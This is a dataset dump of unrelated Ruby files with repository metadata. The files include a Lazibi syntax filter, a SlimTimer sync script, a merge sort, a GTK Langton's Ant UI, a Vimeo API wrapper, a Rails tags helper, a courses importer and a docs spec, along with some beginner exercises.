require 'filter_base' module Lazibi module Filter class OptionalEnd < FilterBase def up( source ) rb = source py = [] lines = rb.split("\n") lines.each_index do |index| l = lines[index] if l.strip =~ /^end$/ next end l = remove_colon_at_end(l) s = l if comment_at_end(l) s = s.sub(/(\s*;\s*end*\s*)(#.*)/, ' \2') s = s.sub(/(\s+end*\s*)(#.*)/, ' \2') else s = s.sub(/\s+end\s*$/, '') s = remove_colon_at_end(s) end py << s end py.join("\n") end def remove_colon_at_end(l) if comment_at_end(l) l.sub /(\s*;\s*)(#.*)/, ' \2' else l.sub /;*$/, '' end end def down( source ) content = source return '' if content.strip == '' lines = content.split("\n") first_line = lines.first.strip return lines[1..-1].join("\n") if first_line == '#skip_parse' insert_end content end def insert_end( content ) @lines = content.split("\n") progress = 0 while progress < @lines.size lines = @lines[progress..-1] lines.each_index do |index| l = lines[index] safe_l = clean_block(clean_line(get_rest(l))) if start_anchor? safe_l relative_index_for_end = find_end( lines[index..-1], get_indent(l)) unless relative_index_for_end progress += 1 break end index_for_end = relative_index_for_end + index if relative_index_for_end == 0 && !comment_at_end(l) #l = lines[index_for_end] lines[index_for_end] = lines[index_for_end].rstrip + '; end' else lines[index_for_end] = lines[index_for_end] + "\n" + ' ' * get_indent(l) + "end" end head = @lines[0...progress] tail = lines[index..-1].join("\n").split("\n") @lines = head + tail progress += 1 break end progress += 1 end end result = @lines.join("\n") end def find_end( lines, indent ) return 0 if lines.size == 1 anchor = 0 lines = lines[1..-1] lines.each_index do |i| l = lines[i] next if l.strip == '' if l.strip =~ /^#/ if get_indent(l) > indent anchor = i + 1 end next end return anchor if get_indent(l) < indent if get_indent(l) == indent rest = get_rest l if start_anchor? rest return anchor elsif end_anchor? rest return false elsif middle_anchor? rest anchor = i + 1 next else return anchor end end anchor = i + 1 end return anchor end end end end
true
3fc5bb8a558ac5c7f685311d657be6323dbdf162
Ruby
BearingMe/exercicios-CeV
/exs/mundo_1/ruby/025.rb
UTF-8
299
3.890625
4
[ "MIT" ]
permissive
=begin Desafio 025 Problema: Crie um programa que leia o nome de uma pessoa e diga se ela tem "SILVA" no nome. Resolução do problema: =end print"Digite seu nome: " n = gets.chomp.upcase if n.index('SILVA') != nil puts"Você tem Silva no nome." else puts"Você não tem Silva no nome." end
true
f955458c825cc19d94ab601d9d4a808ecd2db05e
Ruby
anibal/dashboard
/script/update_slimtimer.rb
UTF-8
5,019
2.515625
3
[ "MIT" ]
permissive
#!/usr/bin/env ruby require 'rubygems' require 'optparse' require 'rdoc/usage' require 'logger' require 'pp' def quit_with_usage(opts) STDERR.puts opts exit 1 end @options = {} OptionParser.new do |opts| opts.banner = "Usage: #{File.basename($0)} [options]" opts.on("-l", "--logfile FILE", "Log to FILE (default STDOUT)") do |l| @options[:log] = l end opts.on("-e", "--environment SINATRA_ENV", "Sinatra environment (default development)") do |e| @options[:environment] = e end opts.on_tail("-h", "--help", "Show this message") do quit_with_usage(opts) end args = opts.parse!(ARGV) rescue begin STDERR.puts "#{$!}\n" quit_with_usage(opts) end end require 'sinatra' set :environment, @options[:environment] || ENV['SINATRA_ENV'] || 'development' disable :run def log @log ||= begin log = Logger.new((@options[:log] || STDOUT)) log.datetime_format = "%Y-%m-%d %H:%M:%S" log.level = Logger::INFO log end end require File.join(File.dirname(__FILE__), '../dashboard') require File.join(File.dirname(__FILE__), '../lib/slimtimer_api') FULL_DATE_TIME = "%F %T" ONE_HOUR = 1 * 60 * 60 ONE_DAY = 24 * ONE_HOUR TWO_WEEKS = 2 * 7 * ONE_DAY MAX_TIMEOUTS = 5 LAST_RUN_FILE = File.join(File.dirname(__FILE__), "../log/last_run") # Runs a given block, handling timeouts # It will retry the block up to _max_timeouts_ times. # If max_timeouts is exceeded, it'll spit out the given _task_ to stderr, # and exit the script with an error code. def handle_timeouts(max_timeouts, task) timeouts = 0 begin yield rescue Timeout::Error timeouts += 1 if timeouts > MAX_TIMEOUTS log.fatal "Exceeded #{MAX_TIMEOUTS} timeouts on slimtimer during:\n #{task}" raise "SlimTimer timed out #{MAX_TIMEOUTS} times, so we gave up." else log.debug "SlimTimer timed out (times: #{timeouts})" retry end end end # Fetches all records for the given entity. # Slimtimer has a default limits of records that are returned. # The solution is to paginate through the results. # http://slimtimer.com/help/api def fetch_with_pagination(connection, entity, per_page) offset = 0 records = [] begin set = handle_timeouts(MAX_TIMEOUTS, "loading tasks (offset: #{offset})") { connection.send(entity, offset, "yes", "owner,coworker,reporter") } records += set offset += per_page end until set.empty? records end def run_now? run_now = last_run.nil? || ( Time.now > last_run + 24 * ONE_HOUR ) || (( Time.now > last_run + 18 * ONE_HOUR ) && ( Time.now.hour <= 4 )) if !run_now log.info "Called, but decided not to do anything" end run_now end def last_run if File.exist?(LAST_RUN_FILE) File.mtime(LAST_RUN_FILE) else log.debug "#{LAST_RUN_FILE} didn't exist" nil end end def ran! FileUtils.touch(LAST_RUN_FILE) log.debug "Completed run and touched #{LAST_RUN_FILE}" log.debug "---" true end exit 0 unless run_now? begin st = SlimtimerApi.new(SLIMTIMER_APIKEY, SLIMTIMER_GOD, SLIMTIMER_USERS[SLIMTIMER_GOD]) log.info " Slimtimer connected as user id #{st.user_id}" # Load all tasks associated with the Slimtimer God log.info " Loading tasks" tasks = fetch_with_pagination(st, :tasks, 50) log.info " Got #{tasks.size} tasks; updating" SlimtimerTask.update(tasks) SLIMTIMER_USERS.each do |email, password| log.info "Loading slimtimer data for #{email}" st = SlimtimerApi.new(SLIMTIMER_APIKEY, email, password) log.info " Slimtimer connected as user id #{st.user_id}" log.info " Loading db user" u = SlimtimerUser.get(st.user_id) if u.nil? log.info " Building new user" u = SlimtimerUser.new u.id = st.user_id owners = tasks.map { |t| t["owners"]["person"] }.uniq person = owners.find { |o| o["user_id"] == u.id } log.info " Found person in one of their tasks:" log.info " '#{person['name']}'" u.name = person['name'] u.email = person['email'] u.save end last_entry = u.time_entries.first(:order => [:end_time.desc]) start_range = last_entry ? last_entry.end_time - TWO_WEEKS : Time.local(2010, 1, 1) end_range = [start_range + ONE_DAY, Time.now].min failed = 0 until end_range >= Time.now handle_timeouts(MAX_TIMEOUTS, "retrieving time entries for #{email} on #{start_range}") do log.info " Loading time entries from #{start_range} to #{end_range}" entries = st.time_entries(start_range.strftime(FULL_DATE_TIME), end_range.strftime(FULL_DATE_TIME)) log.info " Got #{entries.size} entries" u.update_time_entries(entries) start_range = end_range end_range = start_range + 24 * 60 * 60 end end end rescue Interrupt log.info "Interrupted" log.info "---" exit 1 rescue Exception => e log.info e raise if (Time.now > last_run + 40 * ONE_HOUR) else ran! exit 0 end
true
a9e36dab08512b7301b1855573c836f7d9bacb57
Ruby
RodrigoRGRB/Codewars
/ucoder/1030.rb
UTF-8
1,350
2.921875
3
[]
no_license
entrada = gets.split qfita = entrada[0].to_i qtd = entrada[1].to_i fita = [] dias = [] for t in (0...qfita) fita << 0 end def teste(posicao, tamanho, fita) anterior = posicao - 1 atual = posicao proxima = posicao + 1 puts "\n\n\n\n" if anterior < 0 fita.insert((proxima - 1), 1) fita.delete_at(proxima) fita.insert((atual - 1), 1) fita.delete_at(atual) elsif proxima > tamanho fita.insert((atual - 1), 1) fita.delete_at(atual) fita.insert((anterior - 1), 1) fita.delete_at(anterior) else fita.insert((atual - 1), 1) fita.delete_at(atual) fita.insert((anterior - 1), 1) fita.delete_at(anterior) fita.insert((proxima - 1), 1) fita.delete_at(proxima) end fita end #inicial is = gets.split is.map do |i| i.to_i fita.insert((i.to_i - 1), 1) fita.delete_at(i.to_i) end is = is.map do |i| i.to_i end teste = 1 def atualiza sujo, antigo antigo.each do |i| anterior = i - 1 proximo = i + 1 sujo << anterior sujo << proximo end print sujo sujo end ##dias while fita.include?0 is = atualiza is, is is.each do |i| fita = teste(i.to_i, fita.length, fita) end print "\n #{is}" print "\nfita no dia #{teste} fita = #{fita}" teste+=1 break end print fita print fita.length print "\n dias #{teste}" =begin 13 3 2 6 13 =end
true
d8f879897f026d25e18cc6bede3ea3d8fc9f0682
Ruby
patmaddox/21-day-challenge
/2_adventures/001/jbrains/11/langtons_ant_ui.rb
UTF-8
1,768
2.796875
3
[]
no_license
require "gtk2" class LangtonsAntWalkGridSquare < Gtk::Frame attr_accessor :grid_square_model # grid_square_model (can't be called "model", because Gtk::Frame uses that) must support: # add_listener(listener) # color def self.with_model(model) self.new(model.color).tap { |view| view.grid_square_model = model model.add_listener(view) } end def initialize(color) super() # It's like a border... until I figure out how to draw a border. self.modify_bg(Gtk::STATE_NORMAL, Gdk::Color.parse("black")) # The area that actually changes color. @interior = Gtk::DrawingArea.new.tap { |area| area.modify_bg(Gtk::STATE_NORMAL, Gdk::Color.parse(color.to_s)) } self.add(@interior) end def self.white self.new(:white) end def color_yourself(color) @interior.modify_bg(Gtk::STATE_NORMAL, Gdk::Color.parse(color.to_s)) end def on_flip(color) puts "on_flip(#{color})" self.color_yourself(color) end end class LangtonsAntWalkGridPanel < Gtk::Table attr_reader :squares def initialize @rows = @columns = 3 # true -> all cells the same size super(@rows, @columns, true) @squares = [] @rows.times do |x| @squares.push([]) @columns.times do |y| square = LangtonsAntWalkGridSquare.white @squares[x][y] = square self.attach_defaults(square, x, x+1, y, y+1) end end end end class LangtonsAntWalkMainWindow < Gtk::Window attr_reader :grid_panel def initialize super set_title("Langton's Ant") signal_connect("destroy") do Gtk.main_quit end self.set_default_size(600, 600) @grid_panel = LangtonsAntWalkGridPanel.new self.add(@grid_panel) self.show_all() end end
true
813249d7006df0cacf739236c0ab4ed5a109399a
Ruby
sooyang/algo
/merge_sort.rb
UTF-8
765
3.875
4
[]
no_license
# Chapter 2 def merge(array, p, q, r) left = array[p..q] right = array[q+1..r] i = 0 # left array index j = 0 # right array index k = p # main array while i < left.length && j < right.length if left[i] < right[j] array[k] = left[i] i += 1 else array[k] = right[j] j += 1 end k += 1 end if j == right.length array[k..r+1] = left[i..] end print array.to_a end def merge_sort(array, p , r) if p < r q = (p + r) / 2 merge_sort(array, p, q) merge_sort(array, q + 1, r) merge(array, p, q, r) end end items = [2, 4, 5, 7, 1, 2, 3, 6] #merge(items, 0, 3, 7) merge_sort(items, 0, (items.length-1))
true
ba7f9afb194e9e5c9950e42631fcb7c5485d87cf
Ruby
palladius/riclife
/app/helpers/tags_helper.rb
UTF-8
1,172
2.546875
3
[]
no_license
module TagsHelper def sample_tags sminuzza_tags 'dublin bologna riccardo gnocca connector goliardia friend sex love gnocca family son spouse imelda_may' end ### Use partial "tags/link" , :tags => ARRAY # restituisce un array... ' def sminuzza_tags(str) return [] unless str str.split(/[ ,]/).map{|tag| '' + tag.downcase }.select{|tag| tag.length > 1 }.sort.uniq rescue ["Execption::SminuzzaTag", "#{$!}" ] end def render_tags(obj) render :partial => "tags/link", :locals => { :tags => obj.tags }, :class => 'tag' end # i.e., Dublin, 14 def render_tag(tag,cardinality) tagdebug = false size = (Math.log(cardinality) * 10).to_i # logarithimc o non se ne esce! :) fontsize = 50 + size * 2 # percentage: 100 = equal visualized_tag = tag.downcase.gsub('_',' ') # renders '_' as spaces... title = 'Tag ' + tag.downcase + " (CARD=#{cardinality}, size//fontsize=#{size}//#{fontsize})" visualized_tag += " (#{cardinality})" if tagdebug fontstyle = "font-size: #{fontsize}%;" link_to("<font class='tag' style='#{fontstyle}' title='#{title}' >#{visualized_tag}</font>", "/tags/#{tag}") end end
true
736321a45b645afd625f47e7bafc86effff081a4
Ruby
Proffard/vimeo_rails
/lib/vimeo/categories.rb
UTF-8
1,026
2.546875
3
[ "MIT" ]
permissive
module Vimeo class Categories < Vimeo::Base # Get a list of the top level categories. GET # def self.find_all get('/categories') end # Get a category. GET # # # category = category name def self.search(category) get("/categories/#{category}") end ##################### Channels #################### # Get a list of Channels related to a category. GET # # # category = category name def self.related_channels(category) get("/categories/#{category}/channels") end ##################### Groups #################### # Get a list of Groups related to a category. GET # # # category = category name def self.related_groups(category) get("/categories/#{category}/groups") end ##################### Videos #################### # Get a list of videos related to a category. GET # # # category = category name def self.videos(category) get("/categories/#{category}/videos") end end end
true
9907791c98ca759a9b6768a2f9654bc8e4e39ab5
Ruby
ZeusLimited/ksa_copy
/app/models/concerns/arm_minenergo.rb
UTF-8
809
2.578125
3
[]
no_license
module ArmMinenergo extend ActiveSupport::Concern include Constants class_methods do def to_arm_thousand(val) return 0 if val.nil? (val.to_f / 1000.0).round(3) end end private def default_value(type) [:float, :integer].include?(type) ? 0 : nil end def reject_special_symbols(element) element.to_s.gsub(/[:=()]/, ':' => ' ', '=' => ' ', '(' => '[', ')' => ']') end def add_line(index, elements) "(#{index}):::::::#{elements}:" end def get_additional_info(par1, par2) "#{par1}:#{par2}::::0:0:0:0:::::0::0:::0:0::0::0:0:0:0:0:0:0::0:0:0:0:::0:::::::::" end def get_user_info(user_id) return unless user_id.present? u = User.find user_id [u.fio_full, u.user_job, reject_special_symbols(u.phone), u.email, nil].join(':') end end
true
ce74f452e3b37644d2c235e7ffd9185458940a4a
Ruby
ryouyatanaka/bowling
/lib/bowling.rb
UTF-8
1,273
3.609375
4
[]
no_license
class Bowling def initialize @scores = [] @index = 0 @frame = 1 @total = 0 @frame_scores = [] end def add_score(pins) @scores << pins end def total_score @total end def calc_score while @frame <= 10 do pin1 = @scores[@index] pin2 = @scores[@index+1] if @index+1 <= @scores.size pin3 = @scores[@index+2] if @index+2 <= @scores.size #ストライクの処理 if strike?(pin1) then @total += pin1 + pin2.to_i + pin3.to_i @index += 1 #p @total #ここまで else @total += pin1 + pin2.to_i @total += pin3.to_i if spare?(pin1,pin2) @index += 2 end @frame_scores << @total @frame += 1 #p "frame: #{@frame-1} total: #{@total}" pin2 = 0 pin3 = 0 end #p @frame #p @frame_scores end def frame_score(index) @frame_scores[index-1] end def spare?(pin1,pin2) pin1 + pin2.to_i == 10 end def strike?(pin1) pin1 == 10 end end
true
c851ce151e6d0b3e37d5fca7e60b8e54bd145fb7
Ruby
jmennick/cornDog
/app/formatters/time_value_formatter.rb
UTF-8
299
2.546875
3
[]
no_license
class TimeValueFormatter < JSONAPI::ValueFormatter FORMAT='%m/%d/%Y %I:%M:%S%p' class << self def format(raw_value) super(raw_value.to_time.strftime(FORMAT)) end def unformat(value) # super(Date.strptime(value, FORMAT)) super(Time.parse(value)) end end end
true
a998faf1e0e76cd29b45faef9041653c51e58946
Ruby
m11o/algoruby
/src/section3/code3_2.rb
UTF-8
214
2.9375
3
[]
no_license
n = gets.chomp.to_i v = gets.chomp.to_i array = [] (0..(n - 1)).each { array << gets.chomp.to_i } found_id = nil array.each_with_index do |item, index| next if item != v found_id = index end puts found_id
true
fd53814b94b3fdb2e20b0033a09d9c2b5a9660b5
Ruby
stephepush/ruby-enumerables-hash-practice-nyc-pigeon-organizer-lab-nyc04-seng-ft-041920
/nyc_pigeon_organizer.rb
UTF-8
964
3.4375
3
[ "LicenseRef-scancode-unknown-license-reference", "LicenseRef-scancode-public-domain" ]
permissive
def nyc_pigeon_organizer(data) # write your code here! organized_data = {} # Used to store the names of the pigeons and assign values # Iterates through top layer of Hash data.each do|color_gender_lives, attribute_hash| # Iterate through middle layer of hash attribute_hash.each do |attribute, name_array| name_array.each do |name| #if our new hash does not include the name, then we create the name as a key in the hash and make the value a hash () if organized_data[name] == nil # If this statement returns true by being false organized_data[name] = {} # This creates a hash with a key of ["name"] and a value of an empty hash end if organized_data[name][color_gender_lives] == nil # Reserved for making the array if the attributes do not exist organized_data[name][color_gender_lives] = [] end organized_data[name][color_gender_lives] << attribute.to_s end end end return organized_data end
true
4736b1811c994e6865d253485074ecfb92243be6
Ruby
AnVales/Use-Web-APIs
/class_network.rb
UTF-8
14,587
3.3125
3
[]
no_license
require './class_helper.rb' require './class_gene_info.rb' require 'json' require 'rest-client' class Network ########## CLASS ########## # this class has one object which must be a subnetwork of Arabidopsis if the hypothesis is right ########## ATTRIBUTE ########## # network: a hash with the direct and indirect interactions of the input genes ONLY, # the key is a gene and the value the genes with direct and indirect interaction with this gene # keggid_network: a hash with the Kegg id of the interactions (atribute network), # the key is the same as in network and the value all the kegg ids # pathwayname_network: a hash with the pathway names in Kegg of the interactions (atribute network), # the key is the same as in network and the value all the pathways name in Kegg # goid_network: a hash with the GO id of the interactions (atribute network), # the key is the same as in network and the value all the GO ids # termname_network: a hash with the term name in GO of the interactions (atribute network), # the key is the same as in network and the value all the term names in GO ########## METHODS ########## # rec_fillinteractions: recursive function that searches the interactions between the genes # dfs_fillinteractions: searches the interactions between genes calling the rec_fillinteractions functions, # fill_keggid_network: fill keggid_network attribute # fill_pathwayname_network: fill pathwayname_network attribute # fill_goid_network: fill goid_network attribute # fill_termname_network: fill termname_network attribute # self.fill_api_information: fill all the information obtained with API: keggid_network, pathwayname_network, goid_network, termname_network ########## ATTRIBUTE ########## attr_accessor :network attr_accessor :keggid_network attr_accessor :pathwayname_network attr_accessor :goid_network attr_accessor :termname_network ########## METHODS ########## # initialize def initialize (params = {}) @network = params.fetch(:network, nil) @keggid_network = params.fetch(:keggid_network, nil) @pathwayname_network = params.fetch(:pathwayname_network, nil) @goid_network = params.fetch(:goid_network, nil) @termname_network = params.fetch(:termname_network, nil) end # rec_fillinteractions def rec_fillinteractions(interaction_genes, input_info, gene, visited, genes_list, counter, depth_level) # this methods needs: gene for search interaction(gene), a list with the visited genes(visited), the list where genes are stored(genes_list), # a counter of the times that this method is executed(counter), and a variable that indicates the maximum number of times that this is executed(depth_level) visited[gene] = true counter = counter + 1 interaction_genes.direct_interactions[gene].each do |gen_value| if not visited[gen_value] and counter < depth_level # only if this gene isn't visited before if not input_info.input_genes[gen_value].nil? genes_list << gen_value end rec_fillinteractions(interaction_genes, input_info, gen_value, visited,genes_list, counter, depth_level) # call rec_fillinteractions inside rec_fillinteractions end end end # dfs_fillinteractions def dfs_fillinteractions(interaction_genes,input_info, depth_level=interaction_genes.direct_interactions.keys.length) #by default,but depth_level but it can be changed when it's executed # It can seems to a be a huge depth, but this only allows to search each gene interactions once and it's very fast because it's a hash @network = {} visited = {} interaction_genes.direct_interactions.each do |key, value| if not input_info.input_genes[key].nil? visited[key] = false genes_list = [] rec_fillinteractions(interaction_genes,input_info, key, visited, genes_list, 0, depth_level) # calls rec_fillinteractions for each gene (key) with interactions (value) @network[key] = genes_list end end end # fill_keggid_network def fill_keggid_network(network_genes_dict) # this needs the hash with the objects of class gene_info @keggid_network={} @network.each do |gen_a,gen_array| # a list that will save kegg_id information info_save=[] if not network_genes_dict[gen_a].nil? # seach kegg_id information of each gene array_info = network_genes_dict[gen_a].kegg_id array_info.each do |each_info| if not each_info=='unknown' info_save<<each_info end end gen_array.each do |gen_b| if not network_genes_dict[gen_b].nil? array_keggs = network_genes_dict[gen_b].kegg_id array_keggs.each do |kegg| if not kegg=='unknown' info_save<<kegg end end end end end # if we don't have any kegg_id of this genes, set this as unknown # if we have information, the array will be a set to delate the kegg_id that are more than one time # when repeated kegg_id information is delete, set this to array again and save it in the hash if not info_save.empty? info_save_set=info_save.to_set info_save_set=info_save_set.to_a @keggid_network[gen_a]=info_save_set else @keggid_network[gen_a]=['unknown'] end end end # fill_pathwayname_network def fill_pathwayname_network(network_genes_dict) # this needs the hash with the objects of class gene_info @pathwayname_network={} @network.each do |gen_a,gen_array| # a list that will save pathway_name information info_save=[] if not network_genes_dict[gen_a].nil? # seach pathway_name information of each gene array_info = network_genes_dict[gen_a].pathway_name array_info.each do |each_info| if not each_info=='unknown' info_save<<each_info end end gen_array.each do |gen_b| if not network_genes_dict[gen_b].nil? array_pathwayname = network_genes_dict[gen_b].pathway_name array_pathwayname.each do |pathwayname| if not pathwayname=='unknown' info_save<<pathwayname end end end end end # if we don't have any pathway_name of this genes, set this as unknown # if we have information, the array will be a set to delate the pathway_name that are more than one time # when repeated pathway_name information is delete, set this to array again and save it in the hash if not info_save.empty? info_save_set=info_save.to_set info_save_set=info_save_set.to_a @pathwayname_network[gen_a]=info_save_set else @pathwayname_network[gen_a]=['unknown'] end end end # fill_goid_network def fill_goid_network(network_genes_dict) # this needs the hash with the objects of class gene_info @goid_network={} @network.each do |gen_a,gen_array| # a list that will save go_id information info_save=[] if not network_genes_dict[gen_a].nil? # seach go_id information of each gene array_info = network_genes_dict[gen_a].go_id array_info.each do |each_info| if not each_info=='unknown' info_save<<each_info end end gen_array.each do |gen_b| if not network_genes_dict[gen_b].nil? array_goid = network_genes_dict[gen_b].go_id array_goid.each do |goid| if not goid=='unknown' info_save<<goid end end end end end # if we don't have any go_id of this genes, set this as unknown # if we have information, the array will be a set to delate the go_id that are more than one time # when repeated go_id information is delete, set this to array again and save it in the hash if not info_save.empty? info_save_set=info_save.to_set info_save_set=info_save_set.to_a @goid_network[gen_a]=info_save_set else @goid_network[gen_a]=['unknown'] end end end # fill_termname_network def fill_termname_network(network_genes_dict) # this needs the hash with the objects of class gene_info @termname_network={} @network.each do |gen_a,gen_array| # a list that will save term_name information info_save=[] if not network_genes_dict[gen_a].nil? # seach term_name information of each gene array_info = network_genes_dict[gen_a].term_name array_info.each do |each_info| if not each_info=='unknown' info_save<<each_info end end gen_array.each do |gen_b| if not network_genes_dict[gen_b].nil? array_termname = network_genes_dict[gen_b].term_name array_termname.each do |termname| if not termname=='unknown' info_save<<termname end end end end end # if we don't have any term_name of this genes, set this as unknown # if we have information, the array will be a set to delate the term_name that are more than one time # when repeated term_name information is delete, set this to array again and save it in the hash if not info_save.empty? info_save_set=info_save.to_set info_save_set=info_save_set.to_a @termname_network[gen_a]=info_save_set else @termname_network[gen_a]=['unknown'] end end end # fill_api_information def self.fill_api_information(network, genes_dict) # this makes four methods at the same time, network is the object and genes_dict is a dict with objects with the API information network.fill_keggid_network(genes_dict) network.fill_pathwayname_network(genes_dict) network.fill_goid_network(genes_dict) network.fill_termname_network(genes_dict) end # write_report def write_report(newfile) File.open(newfile, "w") do |f| i=0 # open the file and write the report with f.puts " " f.puts "Welcome to the report of the task 2: Intensive integration using Web APIs" @network.each do |gene_a,gene_array| # use Helper.make_sentence to make sentences with the arrays with the information genes_net=Helper.make_sentence(gene_array) keggid_net=Helper.make_sentence(keggid_network[gene_a]) pathwayname_net=Helper.make_sentence(pathwayname_network[gene_a]) goid_net=Helper.make_sentence(goid_network[gene_a]) termname_net=Helper.make_sentence(termname_network[gene_a]) # filter: only puts the interactions between two or more genes if gene_array.length>=1 f.puts i=i+1 f.puts "Network #{i}" f.puts "Number of genes: #{1+gene_array.length.to_i}" if gene_array.length.to_i==1 f.puts "The genes that interact are #{gene_a} and #{genes_net}." elsif gene_array.length.to_i>=2 f.puts "The genes that interact are #{gene_a}, #{genes_net}." end # write the report in singular if .length==1, in plural if .length>=2 if keggid_network[gene_a].length==1 f.puts "The genes of this network are involved in a pathway, the kegg id is #{keggid_net}." f.puts "The name in kegg is #{pathwayname_net}." elsif keggid_network[gene_a].length>1 f.puts "The genes of this network are involved in some pathways, kegg id are #{keggid_net}." f.puts "The names in kegg are #{pathwayname_net}." end if goid_network[gene_a].length==1 f.puts "The OG id is #{goid_net}." f.puts "The name in OG is #{termname_net}." elsif goid_network[gene_a].length>1 f.puts "The OG ids are #{goid_net}." f.puts "The names in OG are #{termname_net}." end f.puts end end puts "There are #{i} networks" end end end
true
31d808457e681debaf2a9a23a92ce618348b3a97
Ruby
giokro/Ruby-Developement
/fix-ois-p2/lib/courses.rb
UTF-8
1,065
3.109375
3
[]
no_license
# module module Courses require 'time' require 'date' require 'course' require 'csv_importer' require 'parse_helper' def self.find_course(id) course = Course.find_by(id: id) raise "Course with id #{course_id} not found in database" unless course course rescue StandardError => e warn e.message end def self.import_from_csv(file_name) puts "Importing courses from #{file_name}:" table = CsvImporter.to_table(file_name) table.each { |item| add_new_course(item) } puts '' end def self.print_all puts 'All courses sorted by start date:' Course.order(:start_date).each { |course| puts course.to_s } puts '' end private_class_method def self.add_new_course(item) date = ParseHelper.parse_date(item['start date dd.mm.YYYY']) if Course.exists?(name: item['name'], start_date: date) warn "#{item['name']} #{date} already in database. Will not add" nil else Course.create(name: item['name'], start_date: date) puts "#{item['name']} #{date} added" end end end
true
6ad3d06ca1dc40558495a7a08de613a73e4abdfe
Ruby
Steph0088/array-equals
/lib/array_equals.rb
UTF-8
361
3.5625
4
[]
no_license
# Determines if the two input arrays have the same count of elements # and the same integer values in the same exact order def array_equals(array1, array2) if array1.length == array2.length number = array1.length number.times do |i| if array1[i] != array2[i] return false end end return true end return false end
true
ed4f9dd9581e84df82acf76473c8d59b07e5c94a
Ruby
sheleg/Projects
/Test projects/testRuby/test.rb
UTF-8
305
2.5625
3
[]
no_license
require 'httparty' require 'nokogiri' require 'open-uri' page = HTTParty.get("https://newyork.craigslist.org/search/pet?s=0") doc = Nokogiri::HTML(page) pets_array = [] tem = doc.css('.content').css('row').css('hdrlnk').map do |a| post_name = a.text pets_array.push(post_name) end puts pets_array
true
f5cd24ac6288d9608851cb312d800bc9400b3715
Ruby
cbastable/japanese
/lib/tasks/jlpt_words_links.rake
UTF-8
1,338
2.578125
3
[]
no_license
namespace :db do desc "Fill database with jlpt word data" task populate_word_links: :environment do make_word_collections make_word_kanjis end end def make_word_collections WordCollection.destroy_all Collection.all.each do |collection| data_dir = "#{Dir.pwd}/db/data/#{collection.name}/words" Dir.glob("#{data_dir}/*.txt") do |my_text_file| puts "working on: #{collection.name} & #{my_text_file}..." contents = File.read("#{my_text_file}") word = Word.find_by_word(contents) WordCollection.create!(word_id: word.id, collection_id: collection.id) puts "Added #{contents} to #{collection.name}" end #Dir.glob end #collection.all.each end #make_word_lists def make_word_kanjis WordKanji.destroy_all Collection.all.each do |collection| collection.words.all.each do |w| puts "wordking on: #{collection.name} | #{w.word}" Dir.glob("db/data/#{collection.name}/*.txt") do |my_text_file| puts "working on: #{collection.name} & #{my_text_file}..." contents = File.read("#{my_text_file}") kanji = Kanji.find_by_kanji(contents) WordKanji.create!(kanji_id: kanji.id, word_id: w.id) if w.word.include? kanji.kanji end #Dir.glob end #collection.words.all.each end #collection.all.each end #make_word_lists
true
8dbef678c0f1952c757a1b689cc0f8e5b888566e
Ruby
MagneticRegulus/intro_to_prog
/09MoreStuff/2_variable_pointers.rb
UTF-8
1,229
4.25
4
[]
no_license
a = "hi there" # => "hi there" b = a # => "hi there" a = "not here" # => "not here" (reassigns variable due to "=") # b still returns "hi there" # diagram: https://d2aw5xe2jldque.cloudfront.net/books/ruby/images/variables_pointers1.jpg c = "hi there" # => "hi there" d = c # => "hi there" c << ", Bob"# => "hi there, Bob" (mutates the caller & modified existing string) # d now returns "hi there, Bob" # diagram: https://d2aw5xe2jldque.cloudfront.net/books/ruby/images/variables_pointers2.jpg # Variables are pointers to physical space in memory x = [1, 2, 3, 3] # => [1, 2, 3, 3] y = x # => [1, 2, 3, 3] z = x.uniq # => [1, 2, 3] (returns only the uniq items in the array) # x still returns [1, 2, 3, 3] z = x.uniq! # => [1, 2, 3] (destructive) # x now returns [1, 2, 3] # y also returns [1, 2, 3] def test(f) f.map { |letter| "I like the letter: #{letter}" } end # => :test e = ['a', 'b', 'c'] test(e) # => ["I like the letter: a", "I like the letter: b", "I like the letter: c"] # e => the original array def test_b(h) h.map! { |letter| "I like the letter: #{letter}" } end # => :test g = ['a', 'b', 'c'] test_b(g) # => # => ["I like the letter: a", "I like the letter: b", "I like the letter: c"] # g => new array
true
f0ea13add21295137e25655c0a0c2d59a2e77f7d
Ruby
xentek/hyperdrive
/spec/hyperdrive/docs_spec.rb
UTF-8
1,728
2.578125
3
[ "MIT" ]
permissive
# encoding: utf-8 require 'spec_helper' describe Hyperdrive::Docs do before do @resources = { :thing => default_resource } @docs = Hyperdrive::Docs.new(@resources) end it 'generates a header with size 1 as default' do @docs.header('Thing Resource').must_equal "\n\n# Thing Resource\n\n" end it 'raises an error if header size is less than 1' do proc { @docs.header('Thing Resource', 0) }.must_raise ArgumentError end it 'raises an error if header size is greater than 6' do proc { @docs.header('Thing Resource', 8) }.must_raise ArgumentError end it 'generates a paragraph' do @docs.paragraph('Description of Thing Resource').must_equal "Description of Thing Resource\n\n" end it 'generates bold text' do @docs.bold('name').must_equal '__name__' end it 'generates code formatted text' do @docs.code('/things').must_equal '`/things`' end it 'generates a bullet with nest level of 1 as default' do @docs.bullet('test').must_equal " - test\n" end it 'raises an error if bullet indention size is less than 1' do proc {@docs.bullet('test', 0)}.must_raise ArgumentError end it 'raises an error if bullet indention size is greater than 3' do proc {@docs.bullet('test', 4)}.must_raise ArgumentError end it 'generates a nested bulleted list' do @docs.bullet('test', 2).must_equal " - test\n" end it 'generates a nested bullet code span' do @docs.bullet('`/things`', 2).must_equal " - `/things`\n" end it 'generates nested bulleted bold text' do @docs.bullet('__id__', 3).must_equal " - __id__\n" end it 'outputs a string of the completed doc' do @docs.output.must_be_kind_of String end end
true
2dc12d9d6342c1f0bd5ac6a09ae9f85880bf4f4d
Ruby
hakimu/roman_numerals
/test_app.rb
UTF-8
3,148
3.265625
3
[]
no_license
